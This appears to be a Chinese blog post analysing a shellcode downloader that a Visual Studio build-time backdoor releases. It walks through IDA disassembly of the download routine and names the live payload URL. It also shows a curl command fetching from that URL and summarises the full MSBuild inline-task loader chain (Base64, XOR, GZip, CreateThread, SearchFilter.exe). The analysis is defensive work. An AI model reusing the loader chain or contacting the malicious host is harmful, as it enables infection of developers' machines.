惊心!歹毒!遭遇【VS编译时触发后门】保卫战(三)---调试shellcode.bin
原创
MicroPest
MicroPest
MicroPest
2026年10月8日 17:10
安徽
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
这里我来分析shellcode.bin这个文件,它是在vs2022编译时启动的shellcode,主要起下载器作用,在静态分析时没有找到它的Url下载木马载荷地址。我们这篇来动态调试。
1、用IDA9来动态调试。如何用IDA9调试shellcode,这个大家都会,这里就不作介绍了。
2、要在shellcode外面加个“壳”,调试要从壳外走到壳内的shellcode位置,如下图:
上图这个就是在当前IDA中shellcode的基址位置。
2、继续,
上图这里要用CreateThread启动线程了,线程地址为: 0x24B9BE60000
上图就是线程开始,就一条跳转指令:jmp 253A,
3、我们继续,来到Download处,如下图:
0x287a LEA R13,[R15+0x20]0x287e MOV RCX,[R13] ; RCX = 字符串#10x28aa MOV RCX,[R13] ; 下载函数 arg1 = URL0x28c4 CALL 0x3e5 ; download(URL=字符串#1, ...)
上图显示,RCX=DA80
https://rlim.com/seraswodinsx
上图中[DA80]处指向的就是 Url 位置,这个就是URL下载地址了。
4、我们继续,看是否出现连接互联网的函数。
上图中 rbx=DA80=Url,同时出现浏览器UA标识“Mozilla/5.0 (Windows NT 10.0; Win64; x6...”
0x3f6 MOV RBX,RCX ; RBX = URL0x496 MOV RDX,RBX ; RDX = lpszUrl(InternetOpenUrlA 第 2 参数)0x4b2 CALL [R15+0xd0] ; InternetOpenUrlA(hInternet, lpszUrl=RBX, ...)
上图中,注意:CALL [R15+0xd0],如上图,R15+0xd0=DC60,[DC60]=wininet\_InternetOpenUrlA,说明在这里调用了这个打开url的函数。
5、另:我们来访问这个域名看看,如下图curl -L -o output.html -v https://rlim.com/seraswodinsx,火绒报警:
6、接着上面的动作wininet\_InternetOpenUrlA后继续,
检查 InternetOpenUrlA 返回值(0x4b9)
0x4b9 TEST RAX,RAX0x4bc JNE .+66 ; 非 0(成功)→ 跳到 0x5000x4be CMP [RSP+0x48],00x4c3 JNE .+209 ; 已重试过 → 跳到 0x594 收尾
- 成功
:RAX != 0 → 进入读取循环(0x500)。
* 失败
:
0x4c9 CALL [R15+0x100]
→ GetLastError()
+ 0x4d0–0x4e3
判断错误码是否为 0x2ee7 / 0x2efd / 0x2eff(三个特定网络错误,分别对应 ERROR_INTERNET_* 类)
+ 是
:0x4ea MOV [RSP+0x48],1(置\"已重试\"标志)→ 0x4f2 MOV ECX,0xc8 → 0x4f7 CALL [R15+0xf8] → Sleep(200ms) → 0x4fe JMP .-109 回到 0x49f 重新调用 InternetOpenUrlA 重试
+ 否
:0x4e5 JMP .+176 → 跳到 0x594 收尾
注意:这条重试路径是只重试一次(
[RSP+0x48]置 1 后,下次失败直接走收尾)。
读取响应体循环(0x500 起)
0x500 MOV R13,RAX ; R13 = hUrl 句柄0x503 MOV [RSP+0x38],0 ; dwNumberOfBytesAvailable = 00x50b MOV [RSP+0x3c],4 ; 查询项 = 4 (INTERNET_OPTION_...)0x513 MOV [RSP+0x40],0 ; 输出值
。。。。
这就是读取循环主体:查询可用量 → 过滤区间 → InternetReadFile → 前进指针/累加 → 循环,直到无空间或读到 0。
收尾清理(0x594–0x5c9)
0x595 JMP .+3 ; 读失败路径落到 0x5970x597 XOR R14,R14 ; 读失败 → 总读入量置 0(表示下载失败)0x59a TEST R13,R130x59d JE .+100x59f MOV RCX,R130x5a2 CALL [R15+0xe0] ; InternetCloseHandle(hUrl)0x5a9 TEST R12,R120x5ac JE .+100x5ae MOV RCX,R120x5b1 CALL [R15+0xe0] ; InternetCloseHandle(hInternet) ← 关闭 InternetOpen 的会话句柄0x5b8 MOV RAX,R14 ; ★ 返回值 = 累计读入字节数0x5bb LEA RSP,[RBP-0x30]0x5bf POP R14 / 0x5c1 POP R13 / 0x5c3 POP R12 / 0x5c5 POP RDI / 0x5c6 POP RSI / 0x5c7 POP RBX / 0x5c8 POP RBP0x5c9 RET
函数返回 RAX = R14 = 本次下载累计读到的总字节数(失败时为 0)。
返回主控后的动作(回到 0x28c9)
下载函数返回后,主控继续:
0x28c9 MOV R12,RAX ; 保存返回值(总字节数)0x28cc CMP [R15+0x58],0 ; 检查状态字段0x28d1 JNE .+190x28d3 ... ; 日志/错误处理(空串占位)0x28fd CMP [R15+0x58],0x40000 ; ★ 是否读满 0x40000 (256KB)?0x2905 JNE .+190x2907 ... ; 未读满 → 日志0x291a MOV RAX,R120x291d TEST RAX,RAX0x2920 JNE .+89 ; 非 0 → 成功,进入落地流程 ; 否则进入重试:Sleep(20s) 后重下(0x296c)
即:读满 256KB(或非零)视为下载成功,继续走「写文件 → 7z 解压 → 执行 SearchFilter.exe」;否则 Sleep(20000ms) 后重试下载。
7、行为链(下载侧)已闭环:
伪装 Chrome UA → InternetOpenA → InternetOpenUrlA(\"https://rlim.com/seraswodinsx\", flags=0x84000000) → InternetReadFile 循环读满 → 落地 %LOCALAPPDATA%\\Microsoft\\Feeds\\SearchFilter.7z → C:\\ProgramData\\sevenZip\\7z.exe 解压 → 执行 SearchFilter.exe
8、完整行为链(编译时释放后):
MSBuild 触发 cYhrfP5mH9 → 内联 C# 任务 cG5nbiSNoL Base64 → 三轮 XOR(32字节密钥) → GZip 解压 → 12998 字节 x64 shellcode VirtualAlloc → Marshal.Copy → VirtualProtect(RX) → CreateThreadshellcode 运行: 伪装 Chrome UA → InternetOpenUrlA(\"https://rlim.com/seraswodinsx\") → 下载 SearchFilter.7z → 落地 %LOCALAPPDATA%\\Microsoft\\Feeds\\ → C:\\ProgramData\\sevenZip\\7z.exe 解压 → 执行 SearchFilter.exe
至此,我们动态分析完成了shellcode.bin这个文件,调试出了下载地址。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论